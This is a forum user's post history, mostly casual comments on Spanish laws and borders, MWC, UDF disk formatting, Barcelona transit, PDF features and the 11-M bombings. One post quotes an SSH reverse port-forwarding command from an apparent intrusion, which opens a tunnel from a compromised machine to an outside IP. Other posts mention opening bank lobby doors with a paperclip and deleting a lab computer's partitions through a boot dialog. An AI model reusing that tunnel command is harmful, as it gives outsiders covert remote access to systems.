Posts by entfe001 72 publicly visible posts • joined 10 Feb 2011
Here in Spain laws are so pathetically written that it is not rare that a few days or even weeks after there is a "Corrección de errores" (errors correction) fixing blunders like referencing the wrong article or even the wrong law.
Just yesterday there was one example of such. 12 pages of corrections.
Last news I heard are that GSMA is waiting for the WHO to officially declare that virus a pandemic, as this would enable them by contract to cancel the event without the need to pay indemnities
OTOH, and this is pure speculation, they might hold for enough parties to suspend their attendance, cash their indemnities, and once the balance between what attendees have to pay and what they should pay to parties still attending is positive, to cancel without a loss
Spain has 2 confirmed cases, however both of them are on islands: one at Canary Islands, other at Balearic Islands. By the way, the second one is a British citizen.
Nonetheless, I'd be glad if the MWC gets suspended, if only because I use metro line L8 on my commute (for those who ever attended, the one linking Espanya and Fira, although I go farther) and the Mobile Week becomes a living hell if you need to move through the area.
yet incompatible due to how the OS's format the UDF partition
More than how they format, the problem lies on where the filesystem is placed:
MacOS expects the filesystem fill the whole device, and gets confused if the UDF filesystem is inside a partition
Windows expects a partition table for all non-removable devices and a UDF filesystem inside it, so when it encounters such device without a partition table it doesn't know what to do with it
Linux doesn't care at all as long as you mount the proper device (full disk or partition)
The "compatibility trick" consists on creating a partition table with a single partition starting at sector 0, including the partition table itself, so Windows sees that partition and MacOS sees an UDF filesystem filling the whole device
Note that for what Windows sees as "removable devices" there are no such issues and a partition-less, whole-filled UDF filesystem works cross-platform
I happen to live near the eastermost side of the Spanish-French border, which have crossed plenty of times, and so I'm quite experienced on how things actually work.
First of all, the theory behind the freedom of movement relies in that once you're inside the Schengen Area you can move freely even when this implies crossing internal borders. If you're a legally EU citizen, well, you're already inside; while if you come from outside you would have had your papers checked at the point of entry so, if allowed entry, you have the same freedom of movement, only restricted by the visa expiration or the 90/180 rule.
Of course, things don't work like this at all: there are plenty of people who are inside the Schengen Area but don't have the legal right to be, but once they're inside, they would actually enjoy the freedom of movement if border controls were non-existant as required by the Schengen treaty. The problem arises for two reasons: first, no country wants these people in their national grounds, so they are quite happy to let them leave, while at the same time they don't want even more people to enter. Also, when a person without right to stay is detected, the country who found him is the one who have to repatriate, and this costs money.
So the game on this border is an agreement between the national police forces on each side consisting in "if I found someone coming from your contry to mine without right to stay, I'll return back him to you". While this is explicitly forbidden by the Schengen agreeement, both countries have found excuses to keep these controls up and running: France with its eternal almost but not quite entirely red Vigipirate alert level, Spain with his "I can require your compulsory ID anywhere on the country for no reason at all" law. Of course, once such person is returned back the other state just leaves him alone knowing that, sooner or later, he'll manage to cross the border.
Meanwhile the EU legal citizens are constanty pestered by these pantomime controls.
Extra fun fact: when I went on holiday near the westernmost frontier, I managed to cross many times without any control at all. Which was surprising given the (fortunately past but then still dormant) ETA terrorism issue there. However, if you notice that the Africa-Europe migration axis through Spain runs on the eastermost side...
via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error -oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R 127.0.0.1:30081:127.0.0.1:22 -N
Nice SSH reverse forwarding port. So essentially something already from inside opened the door wide open to this aktv for allowing to either enter an IP-firewalled SSH or to a dedicated one.
Either way, that looks a lot like an inside job.
Don't know about his case, but here in Barcelona rail disruptions are almost exclusively announced via Twitter. Not even on PA systems on the stations themselves.
So many times I knew my train was late because someone saw the disruption notice on his phone and was kind enough to inform everyone else waiting on platform.
You know, Barcelona being a Smart City and all, why bother with old, obsolete information systems like loudspeakers, screens or displays... there's no room nor care for Twitter-less citizens
Before the wall of downvotes: I am OK with service announcements via Twitter, they're really useful if you're not yet on the station and get an early warning of what to expect... what is utterly wrong is the mindset "because we've already warned on Twitter we don't need to make any other announcement whatsoever"
And who the hell put all that crap on the PDF spec and why? If PDF is supposed to be a "paper-on-screen" format, I can't think of any kind of tangible paper sheet that executes code or connects to remote servers.
Then, if PDF is not anymore a "paper-on-screen" thing, we need another one that just does that and nothing else.
Australian PMs moot new laws to repeal the law of gravity and make both pi and e equal to 3.0.
They are 121 years late.
A few years ago the big banks (Australia) were caught out when it was exposed that the swipe access works with ANYTHING.
Same here in Spain: the "swipe access" is nothing more than a little button embedded into a credit card sized slot that, when triggered, unlocks the door. Any solid object which can fit this slot can open any of these doors: travelcards, business cards, even a paperclip if you know where to poke (and if not, just keep poking around and you'll eventually hit it).
This has been that way for ages and nobody cares. This easy access is useful for homeless people to spend the night, to the point that it is virtually impossible to find an indoor ATM at night without a tenant. Mind you, unemployment and housing prices are still a huge problem here despite the "we're out of the crisis" official statements.
This does not look like an ATM at all. It actually is identical to a Barcelona tramway ticket machine. I would even dare to say the picture was taken at Wellington tram stop.
...it also was on Renfe's quite useless website, the Spanish state-owned railway company. Even more, it explicitly requested permission from them to include a link to their website on e-mails. Yes, e-mails.
So I sent them an e-mail requesting permission. Never got a reply.
Now that I think about it, was that e-mail itself a breach of the conditions becasue I sent to somewhere at renfe.com (which included the forbidden renfe.com) before asking permission from them by e-mail? Should I had written a prior e-mail asking for permission to send them an e-mail asking for permission? And what about this e-mail?
I don't remember the exact details about that 7/7, I recall hearing the news at the morning and thinking that the power surge was somewhat fishy.
What I really remember is 11-M. Because I'm from Spain.
I heard nothing before leaving home. I took Cercanías trains without any disruption up to the university. Just like everyday. Note, however, that I was at Barcelona, not Madrid.
Nobody knew anything at class at first. The first term passed uneventful. Before the second term, some of us noticed a faint smell like coming from a gas leak. Some minutes later, we were evacuated from the building, all believing due to this gas issue.
It was not until 11pm that news surfaced all around the campus. Bombs at trains, which most of us use to ride to the campus. Some said that there were also bombs at Barcelona's network. That was a false rumor, but impossible to know at the time. The silence was terrifying: most of us thought that it could have happened to ourselves.
I do not remember that 7 of July. But I do remember very well that 11 of March. And know what terrible feelings go through everyone's bodies.
As with London, the death toll was unbearable. Not because it was higher, but because just one single death is too much.
I can understand too well how do you feel.
On the computer lab, they put a dual-boot system with Windows XP on one side and Mandrake Linux on the other. If a USB drive was plugged in during Linux bootup, a text interface would pop up asking where to mount the device. If cancelled, it showed an assistant for the partition editor running with full root privileges. The obvious and easier thing to do was deleting partitions, which rendered the computer unusable until repaired. I told this issue to the local BOFH, who didn't care at all.
As there was a lot more demand for XP than for Linux, having a computer unable to boot Windows was very useful to avoid waiting for a computer to be available. They eventually fixed the issue when upgraded the whole Linux system about a year after.
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